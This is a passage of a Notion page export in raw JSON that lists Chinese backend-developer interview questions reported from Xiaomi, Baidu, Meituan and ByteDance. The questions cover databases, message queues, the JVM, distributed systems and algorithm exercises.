ACID理解,如何保证的,MySQL底层架构是啥。"]]},"created_time":1712329332786,"last_edited_time":1712329332786,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"da006e21-d8a2-4fb5-80fd-39543958d5b8":{"value":{"id":"da006e21-d8a2-4fb5-80fd-39543958d5b8","type":"bulleted_list","properties":{"title":[["Redis的几个基本数据类型,底层实现。"]]},"created_time":1712329332786,"last_edited_time":1712329332786,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"485f1680-0c15-4199-a877-290c7b137109":{"value":{"id":"485f1680-0c15-4199-a877-290c7b137109","type":"bulleted_list","properties":{"title":[["RabbitMQ工作的几种不同模式,数据如何保证顺序性跟不丢失,如何避免数据重复消费。"]]},"created_time":1712329332786,"last_edited_time":1712330522248,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cdcb2b9e-cbf4-4fed-a5e4-d18d2b7ca311":{"value":{"id":"cdcb2b9e-cbf4-4fed-a5e4-d18d2b7ca311","type":"bulleted_list","properties":{"title":[["Linux 常见指令(说点高级指令比如tmux,awk,别扯 ls、cd)。"]]},"created_time":1712329332787,"last_edited_time":1712329332787,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3d70c404-4eb3-4bc9-8729-0e9cfb571b4b":{"value":{"id":"3d70c404-4eb3-4bc9-8729-0e9cfb571b4b","type":"bulleted_list","properties":{"title":[["MySQL为什么不建议用Text。"]]},"created_time":1712329332787,"last_edited_time":1712329332787,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"550f05b1-b477-4b97-9b19-064507f6c549":{"value":{"id":"550f05b1-b477-4b97-9b19-064507f6c549","type":"bulleted_list","properties":{"title":[["MySQL limit 10W,10 这样的优化,覆盖索引的使用。"]]},"created_time":1712329332787,"last_edited_time":1712329332787,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8340f040-b4b9-4723-b289-6295aefb5384":{"value":{"id":"8340f040-b4b9-4723-b289-6295aefb5384","type":"bulleted_list","properties":{"title":[["Linux CPU满负荷如何排查。"]]},"created_time":1712329332787,"last_edited_time":1712329332787,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"35fb0289-9494-46cd-b8be-a794b2459b3c":{"value":{"id":"35fb0289-9494-46cd-b8be-a794b2459b3c","type":"bulleted_list","properties":{"title":[["链表是否有环, 如何找到交点,计算出环的大小。"]]},"created_time":1712329332787,"last_edited_time":1712329332787,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"aac7f690-f4c3-445a-92cc-3a288144bc26":{"value":{"id":"aac7f690-f4c3-445a-92cc-3a288144bc26","type":"bulleted_list","properties":{"title":[["一个字符串中的最长无重复子串。"]]},"created_time":1712329332788,"last_edited_time":1712329332788,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b8c5fbfa-d631-4318-83da-c723fca26b95":{"value":{"id":"b8c5fbfa-d631-4318-83da-c723fca26b95","type":"bulleted_list","properties":{"title":[["一个帖子来回回复如何存储,如何设计。"]]},"created_time":1712329332788,"last_edited_time":1712329332788,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6d5e484c-d262-44d6-ad17-91403a894cd3":{"value":{"id":"6d5e484c-d262-44d6-ad17-91403a894cd3","type":"bulleted_list","properties":{"title":[["一个数组包含10W个数据,数据范围都在0~100,请求出两数相加和为100的情况一共多少种。"]]},"created_time":1712329332788,"last_edited_time":1712329332788,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8f022449-f2a9-4d8f-baff-9d79fe7fbdf0":{"value":{"id":"8f022449-f2a9-4d8f-baff-9d79fe7fbdf0","type":"bulleted_list","properties":{"title":[["分布式锁实现方案。"]]},"created_time":1712329332788,"last_edited_time":1712329332788,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"36801087-90ee-4ec3-9c0a-8ce34e0f04c5":{"value":{"id":"36801087-90ee-4ec3-9c0a-8ce34e0f04c5","type":"bulleted_list","properties":{"title":[["Redis为什么那么快,Redis底层实现。"]]},"created_time":1712329332788,"last_edited_time":1712329332788,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6ec36b41-9287-4b23-903b-1f6f13ddb99f":{"value":{"id":"6ec36b41-9287-4b23-903b-1f6f13ddb99f","type":"bulleted_list","properties":{"title":[["RabbitMQ 中的TTL。"]]},"created_time":1712329332789,"last_edited_time":1712329332789,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c544cab6-4601-4386-861e-c28f4e23ff19":{"value":{"id":"c544cab6-4601-4386-861e-c28f4e23ff19","type":"bulleted_list","properties":{"title":[["Redis中常见集群部署情况,出现性能问题如何排查。"]]},"created_time":1712329332789,"last_edited_time":1712329332789,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a19fcdc7-516a-4863-b650-8713b61edc5e":{"value":{"id":"a19fcdc7-516a-4863-b650-8713b61edc5e","type":"header","properties":{"title":[["5.小米"]]},"created_time":1712329332789,"last_edited_time":1712329753942,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0bcad159-8b68-467f-a015-3f971852a85c":{"value":{"id":"0bcad159-8b68-467f-a015-3f971852a85c","type":"bulleted_list","properties":{"title":[["两个字符串求最长公共子序列,最长子串。输出字符串结果的那种。"]]},"created_time":1712329332789,"last_edited_time":1712329332789,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a2d379cc-f8c9-4166-971a-5f8945618b55":{"value":{"id":"a2d379cc-f8c9-4166-971a-5f8945618b55","type":"bulleted_list","properties":{"title":[["Hbase的理解,LSM演变过程。"]]},"created_time":1712329332789,"last_edited_time":1712329332789,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ae299847-ec78-4e35-b1a6-5849e48de964":{"value":{"id":"ae299847-ec78-4e35-b1a6-5849e48de964","type":"bulleted_list","properties":{"title":[["数据治理方面的理解。"]]},"created_time":1712329332790,"last_edited_time":1712330547850,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4740f560-3d4f-4bf9-b63f-79bfe9198704":{"value":{"id":"4740f560-3d4f-4bf9-b63f-79bfe9198704","type":"bulleted_list","properties":{"title":[["简单SQL语句考察,MySQL各种索引跟如何优化。"]]},"created_time":1712329332790,"last_edited_time":1712329332790,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"383fc985-f68d-49b8-b635-a6277995628a":{"value":{"id":"383fc985-f68d-49b8-b635-a6277995628a","type":"bulleted_list","properties":{"title":[["Kafka 重平衡,Kafka架构图的理解,读写流程。"]]},"created_time":1712329332790,"last_edited_time":1712329332790,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5c7cff64-9528-4773-9a74-1a715f29c1f2":{"value":{"id":"5c7cff64-9528-4773-9a74-1a715f29c1f2","type":"bulleted_list","properties":{"title":[["LeetCode TOP K 。"]]},"created_time":1712329332790,"last_edited_time":1712329332790,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4fc27c9d-eeec-4558-bd6f-016b8f818a6f":{"value":{"id":"4fc27c9d-eeec-4558-bd6f-016b8f818a6f","type":"bulleted_list","properties":{"title":[["你对Spring的理解,循环依赖。"]]},"created_time":1712329332790,"last_edited_time":1712329332790,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c463cacc-0e91-46b8-b6bd-e976ab531a21":{"value":{"id":"c463cacc-0e91-46b8-b6bd-e976ab531a21","type":"bulleted_list","properties":{"title":[["不停机修改MySQL一个字段,如何对MySQL进行服务器扩容。"]]},"created_time":1712329332791,"last_edited_time":1712329332791,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"78e64261-a101-4177-b889-30c99aba8760":{"value":{"id":"78e64261-a101-4177-b889-30c99aba8760","type":"bulleted_list","properties":{"title":[["RabbitMQ 如何保证消息不丢失,如何保证消息顺序性。"]]},"created_time":1712329332791,"last_edited_time":1712329332791,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9b948452-0218-4d24-9121-4867ff8db4a5":{"value":{"id":"9b948452-0218-4d24-9121-4867ff8db4a5","type":"bulleted_list","properties":{"title":[["1G内存,1T文件,想找到出现次数第二大的字符串。"]]},"created_time":1712329332791,"last_edited_time":1712329332791,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"259a52fe-4bb6-499f-8a52-d02ffeda2ffd":{"value":{"id":"259a52fe-4bb6-499f-8a52-d02ffeda2ffd","type":"bulleted_list","properties":{"title":[["进程间通信几种方式,每种方式的优劣性。"]]},"created_time":1712329332791,"last_edited_time":1712329332791,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"94bc6e4d-4ae6-4461-a2e9-80c3f16d2936":{"value":{"id":"94bc6e4d-4ae6-4461-a2e9-80c3f16d2936","type":"bulleted_list","properties":{"title":[["地球上所有湖泊跟大海的体积如何求"]]},"created_time":1712329332792,"last_edited_time":1712330568108,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a0ab2ffb-7cd9-4d37-8681-7bfffbbb0067":{"value":{"id":"a0ab2ffb-7cd9-4d37-8681-7bfffbbb0067","type":"bulleted_list","properties":{"title":[["内核态跟用户态的理解,操作系统的几个核心点及调度算法。"]]},"created_time":1712329332792,"last_edited_time":1712329332792,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c8ffdc96-5c30-42e2-abbb-71c35aae4215":{"value":{"id":"c8ffdc96-5c30-42e2-abbb-71c35aae4215","type":"bulleted_list","properties":{"title":[["实现字符串语句翻转比如 I LOVE C++ 变为 C++ LOVE I。"]]},"created_time":1712329332792,"last_edited_time":1712329332792,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"429dbed9-44d5-43f1-b63a-5f6a8db88a05":{"value":{"id":"429dbed9-44d5-43f1-b63a-5f6a8db88a05","type":"header","properties":{"title":[["6.百度"]]},"created_time":1712329332792,"last_edited_time":1712329756933,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9562f4bc-7b94-45f3-93f8-e3d3ef9ef704":{"value":{"id":"9562f4bc-7b94-45f3-93f8-e3d3ef9ef704","type":"bulleted_list","properties":{"title":[["TCP 阻塞如何解决。"]]},"created_time":1712329332793,"last_edited_time":1712329332793,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cce5871c-3a6c-40e9-8100-4c9667629c8c":{"value":{"id":"cce5871c-3a6c-40e9-8100-4c9667629c8c","type":"bulleted_list","properties":{"title":[["Java HashMap 7 跟 8 的流程设计理念,为什么7中会出现环。"]]},"created_time":1712329332793,"last_edited_time":1712329332793,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b6c9a666-4881-416d-95d0-f23aa6a89183":{"value":{"id":"b6c9a666-4881-416d-95d0-f23aa6a89183","type":"bulleted_list","properties":{"title":[["Java 线程池参数。"]]},"created_time":1712329332793,"last_edited_time":1712329332793,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"83139158-884c-4c84-b600-eb170e123b1a":{"value":{"id":"83139158-884c-4c84-b600-eb170e123b1a","type":"bulleted_list","properties":{"title":[["Synchronized 的理解。"]]},"created_time":1712329332793,"last_edited_time":1712329332793,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8411cced-8089-4329-a878-0a40b889fbac":{"value":{"id":"8411cced-8089-4329-a878-0a40b889fbac","type":"bulleted_list","properties":{"title":[["ReentrentLock 优势跟用法。"]]},"created_time":1712329332793,"last_edited_time":1712329332793,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7b22f290-0711-4089-a726-4a1aa424cc7b":{"value":{"id":"7b22f290-0711-4089-a726-4a1aa424cc7b","type":"bulleted_list","properties":{"title":[["公平锁跟 非公平锁 的理解。如何抉择用哪个。"]]},"created_time":1712329332793,"last_edited_time":1712329332793,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"153718ce-6a20-4ca2-aa4d-a31a6035d274":{"value":{"id":"153718ce-6a20-4ca2-aa4d-a31a6035d274","type":"bulleted_list","properties":{"title":[["Redis中的事务。"]]},"created_time":1712329332794,"last_edited_time":1712329332794,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"719bb0cd-1a9c-4e6e-b1c9-02d5dc9cc544":{"value":{"id":"719bb0cd-1a9c-4e6e-b1c9-02d5dc9cc544","type":"bulleted_list","properties":{"title":[["Redis中的zset底层。"]]},"created_time":1712329332794,"last_edited_time":1712329332794,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f55f775f-3718-4484-9c45-b13fa0160233":{"value":{"id":"f55f775f-3718-4484-9c45-b13fa0160233","type":"bulleted_list","properties":{"title":[["Redis IO多路复用机制。"]]},"created_time":1712329332794,"last_edited_time":1712329332794,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fdc9ab6e-aa2d-4f4c-9709-162586f14214":{"value":{"id":"fdc9ab6e-aa2d-4f4c-9709-162586f14214","type":"bulleted_list","properties":{"title":[["Kafka 为什么那么快,消费者组的理解,Kafka的重平衡。"]]},"created_time":1712329332794,"last_edited_time":1712329332794,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b0633d56-163f-43f5-a3d1-da6b3dcd5e82":{"value":{"id":"b0633d56-163f-43f5-a3d1-da6b3dcd5e82","type":"bulleted_list","properties":{"title":[["MySQL隔离级别,MVCC理解。"]]},"created_time":1712329332794,"last_edited_time":1712329332794,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"114abe39-b778-4045-823b-04d1c0a1d4ac":{"value":{"id":"114abe39-b778-4045-823b-04d1c0a1d4ac","type":"bulleted_list","properties":{"title":[["Spring AOP的理解,实现原理,String字符串拼接成目标类然后通过反射出所需class。"]]},"created_time":1712329332795,"last_edited_time":1712330585344,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d7b7326b-0826-468e-b495-5f562bc8709a":{"value":{"id":"d7b7326b-0826-468e-b495-5f562bc8709a","type":"bulleted_list","properties":{"title":[["LeetCode 572,判断 一个二叉树在另外一个二叉树中。"]]},"created_time":1712329332795,"last_edited_time":1712329332795,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6331176a-dbf4-429a-9cfe-ec08b99f875f":{"value":{"id":"6331176a-dbf4-429a-9cfe-ec08b99f875f","type":"bulleted_list","properties":{"title":[["二叉树左右节点互换,自己写出求解过程及测试用例。"]]},"created_time":1712329332795,"last_edited_time":1712329332795,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f4923f9d-7699-4cf3-9390-f7723dd01a59":{"value":{"id":"f4923f9d-7699-4cf3-9390-f7723dd01a59","type":"bulleted_list","properties":{"title":[["区间合并,自己写出求解过程及测试用例。"]]},"created_time":1712329332795,"last_edited_time":1712329332795,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"97c0b884-2810-48c2-a95d-3bbd80ae4912":{"value":{"id":"97c0b884-2810-48c2-a95d-3bbd80ae4912","type":"bulleted_list","properties":{"title":[["多个链表进行合并,自己写出求解过程及测试用例。"]]},"created_time":1712329332796,"last_edited_time":1712329332796,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"50f801d8-75cc-4303-b12b-336957b196b0":{"value":{"id":"50f801d8-75cc-4303-b12b-336957b196b0","type":"bulleted_list","properties":{"title":[["HBase底层架构组成,LSM理解。"]]},"created_time":1712329332796,"last_edited_time":1712329332796,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1397a0d6-faa4-492a-b5b2-d613382bf0d2":{"value":{"id":"1397a0d6-faa4-492a-b5b2-d613382bf0d2","type":"bulleted_list","properties":{"title":[["Clickhouse跟Spark的理解。"]]},"created_time":1712329332796,"last_edited_time":1712329332796,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1008e50a-2b10-4499-8264-360d96b40260":{"value":{"id":"1008e50a-2b10-4499-8264-360d96b40260","type":"header","properties":{"title":[["7.美团"]]},"created_time":1712329332796,"last_edited_time":1712329759975,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"28d9c46b-2e8a-46f8-b17c-4c9c2014ffd4":{"value":{"id":"28d9c46b-2e8a-46f8-b17c-4c9c2014ffd4","type":"bulleted_list","properties":{"title":[["图数据的引擎了解么,简单聊一聊,Dgraph,JanusGraph。"]]},"created_time":1712329332797,"last_edited_time":1712329332797,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9724ceb9-fc11-40b3-a21c-f9cfe220fc21":{"value":{"id":"9724ceb9-fc11-40b3-a21c-f9cfe220fc21","type":"bulleted_list","properties":{"title":[["你对"],["高并发",[["a","https://mp.weixin.qq.com/s?__biz=MzI4NjI1OTI4Nw==&mid=2247493322&idx=2&sn=8b8dd6d02da20f2f184827cd61fb86c8&scene=21#wechat_redirect"]]],["的理解。"]]},"created_time":1712329332798,"last_edited_time":1712329332798,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"01423606-d12d-4432-b1d9-2177116f9ecf":{"value":{"id":"01423606-d12d-4432-b1d9-2177116f9ecf","type":"bulleted_list","properties":{"title":[["二叉树转换为双向链表,剑指offer 36 。"]]},"created_time":1712329332799,"last_edited_time":1712329332799,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eb70cff2-d3aa-4ddd-be90-62766b7ef81f":{"value":{"id":"eb70cff2-d3aa-4ddd-be90-62766b7ef81f","type":"bulleted_list","properties":{"title":[["JVM 垃圾回收器 聊一聊,CMS优缺点,三色标记法过程细节,G1的优缺点跟实现过程 。"]]},"created_time":1712329332799,"last_edited_time":1712330630108,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a72fa141-283a-44cc-b5e3-04a886c4533a":{"value":{"id":"a72fa141-283a-44cc-b5e3-04a886c4533a","type":"bulleted_list","properties":{"title":[["HashMap 跟 ConcurrentHashMap 区别跟细节实现,线程不安全在哪里?"]]},"created_time":1712329332799,"last_edited_time":1712329332799,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"06050231-17db-4623-b739-3b8d957274c7":{"value":{"id":"06050231-17db-4623-b739-3b8d957274c7","type":"bulleted_list","properties":{"title":[["Hive底层执行流程了解么。"]]},"created_time":1712329332799,"last_edited_time":1712329332799,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b7791544-094f-4b77-bc91-d17f6d619e32":{"value":{"id":"b7791544-094f-4b77-bc91-d17f6d619e32","type":"bulleted_list","properties":{"title":[["进程A操作变量x,然后报变量地址写入磁盘,进程B是否可以操作。"]]},"created_time":1712329332800,"last_edited_time":1712329332800,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1faa4740-1069-481e-8ddd-e431f614438c":{"value":{"id":"1faa4740-1069-481e-8ddd-e431f614438c","type":"bulleted_list","properties":{"title":[["类似360开机打败全国多少那种设计,正态分布。定期更新模型核心参数。"]]},"created_time":1712329332800,"last_edited_time":1712329332800,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7bb8984c-cdbc-4f46-a0e5-fd3d364d8cdc":{"value":{"id":"7bb8984c-cdbc-4f46-a0e5-fd3d364d8cdc","type":"bulleted_list","properties":{"title":[["TCP 知识点考察。"]]},"created_time":1712329332800,"last_edited_time":1712329332800,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e31dbb38-c125-4804-813b-daa7f8697147":{"value":{"id":"e31dbb38-c125-4804-813b-daa7f8697147","type":"bulleted_list","properties":{"title":[["前端请求从发出到最终得到响应,整个数据的流转过程。"]]},"created_time":1712329332800,"last_edited_time":1712329332800,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8cfc6261-0026-4a6f-a626-09105dcd2245":{"value":{"id":"8cfc6261-0026-4a6f-a626-09105dcd2245","type":"bulleted_list","properties":{"title":[["设计一个数据结构支持O(1)的insert、remove、random。"]]},"created_time":1712329332800,"last_edited_time":1712329332800,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b70d1269-428f-496c-9efb-120919b7d152":{"value":{"id":"b70d1269-428f-496c-9efb-120919b7d152","type":"bulleted_list","properties":{"title":[["RabbitMQ 跟 Kafka 对比下,说下对MQ的理解。"]]},"created_time":1712329332801,"last_edited_time":1712329332801,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8543624c-904a-4f0b-9547-26fb1c51c176":{"value":{"id":"8543624c-904a-4f0b-9547-26fb1c51c176","type":"bulleted_list","properties":{"title":[["mmap java里怎么实现的,ZeroCopy的演变历程。"]]},"created_time":1712329332801,"last_edited_time":1712329332801,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eee44b63-3322-41e4-bd8f-218350a5b548":{"value":{"id":"eee44b63-3322-41e4-bd8f-218350a5b548","type":"bulleted_list","properties":{"title":[["在线服务如何保证稳定性"]]},"created_time":1712329332801,"last_edited_time":1712330684744,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9cee212b-4a9f-4f5d-b5b8-201d427f7313":{"value":{"id":"9cee212b-4a9f-4f5d-b5b8-201d427f7313","type":"bulleted_list","properties":{"title":[["常用的负载均衡算法,自己选择个负载均衡算法来实现并进行自测。"]]},"created_time":1712329332802,"last_edited_time":1712329332802,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"446f5eef-907e-4712-aaea-f5afe0c47d29":{"value":{"id":"446f5eef-907e-4712-aaea-f5afe0c47d29","type":"bulleted_list","properties":{"title":[["Dubbo 跟 Spring Cloud 开发的区别跟理解。"]]},"created_time":1712329332802,"last_edited_time":1712329332802,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7c7f5723-3ecb-48b4-9e0c-ad2a97180746":{"value":{"id":"7c7f5723-3ecb-48b4-9e0c-ad2a97180746","type":"bulleted_list","properties":{"title":[["常用限流方法,自己咋实现。"]]},"created_time":1712329332802,"last_edited_time":1712329332802,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1bd6699c-10df-4f67-b45f-903e05f31b54":{"value":{"id":"1bd6699c-10df-4f67-b45f-903e05f31b54","type":"bulleted_list","properties":{"title":[["分布式链路追踪的实现跟理解。"]]},"created_time":1712329332802,"last_edited_time":1712329332802,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"93b6727f-51cd-4e16-96d0-b7e7d92a05cb":{"value":{"id":"93b6727f-51cd-4e16-96d0-b7e7d92a05cb","type":"bulleted_list","properties":{"title":[["对数据治理的理解。"]]},"created_time":1712329332802,"last_edited_time":1712330698757,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"13306cf7-7d11-46ac-97c1-80cd0b527d34":{"value":{"id":"13306cf7-7d11-46ac-97c1-80cd0b527d34","type":"bulleted_list","properties":{"title":[["对JUC的理解。"]]},"created_time":1712329332802,"last_edited_time":1712330697643,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"641e29c4-0f8e-4c8d-9d7c-3a942455be2b":{"value":{"id":"641e29c4-0f8e-4c8d-9d7c-3a942455be2b","type":"bulleted_list","properties":{"title":[["对于数据治理的理解,Java开发 + 大数据开发 + BI 报表 +\n推荐搜索,整个数据流转的过程的认知。"]]},"created_time":1712329332803,"last_edited_time":1712329332803,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6698637c-265d-4b9a-a604-f8df3916beaf":{"value":{"id":"6698637c-265d-4b9a-a604-f8df3916beaf","type":"header","properties":{"title":[["8.字节"]]},"created_time":1712329332803,"last_edited_time":1712329762971,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4f00f3f9-8b07-4901-800c-249ac9ffbc7f":{"value":{"id":"4f00f3f9-8b07-4901-800c-249ac9ffbc7f","type":"bulleted_list","properties":{"title":[["项目介绍,你负责的模块,技术难点。"]]},"created_time":1712329332803,"last_edited_time":1712329332803,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a26df421-5876-4f40-866b-0abeae9ea1c3":{"value":{"id":"a26df421-5876-4f40-866b-0abeae9ea1c3","type":"bulleted_list","properties":{"title":[["Kafka为什么那么快,Kafka重平衡咋处理的"]]},"created_time":1712329332804,"last_edited_time":1712329332804,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3f46e018-4b7e-41d3-904d-3f22e3a069f2":{"value":{"id":"3f46e018-4b7e-41d3-904d-3f22e3a069f2","type":"bulleted_list","properties":{"title":[["HTTP的发展史理解优缺点,公钥、私钥理解跟加密过程。"]]},"created_time":1712329332804,"last_edited_time":1712329332804,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e6109935-af02-42d9-8ced-6c9301687c2c":{"value":{"id":"e6109935-af02-42d9-8ced-6c9301687c2c","type":"bulleted_list","properties":{"title":[["操作系统内存、进程、IO、文件管理的理解,自己大致说下理解。"]]},"created_time":1712329332804,"last_edited_time":1712329332804,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eb010be0-aeb0-4d52-a412-d1ce01ca8819":{"value":{"id":"eb010be0-aeb0-4d52-a412-d1ce01ca8819","type":"bulleted_list","properties":{"title":[["Leetcode 8.atoi ,注意边界问题。"]]},"created_time":1712329332804,"last_edited_time":1712329332804,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c7945b96-a88e-478f-89ff-1beaa47ead51":{"value":{"id":"c7945b96-a88e-478f-89ff-1beaa47ead51","type":"bulleted_list","properties":{"title":[["Hive执行底层流程。"]]},"created_time":1712329332805,"last_edited_time":1712329332805,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e04fb2d2-9236-411c-99e0-e15bb341f7f9":{"value":{"id":"e04fb2d2-9236-411c-99e0-e15bb341f7f9","type":"bulleted_list","properties":{"title":[["Hadoop的发展史,自己说下HDFS、MapReduce、Yarn等组件跟数据流转过程。"]]},"created_time":1712329332805,"last_edited_time":1712329332805,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e22eb09f-55d0-4f27-9e92-5d580b889001":{"value":{"id":"e22eb09f-55d0-4f27-9e92-5d580b889001","type":"bulleted_list","properties":{"title":[["Kafka生产者消费者速度不平衡咋办,Kafka重平衡。"]]},"created_time":1712329332805,"last_edited_time":1712329332805,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8c935cba-fb3e-48be-acb7-457c1fa98cb2":{"value":{"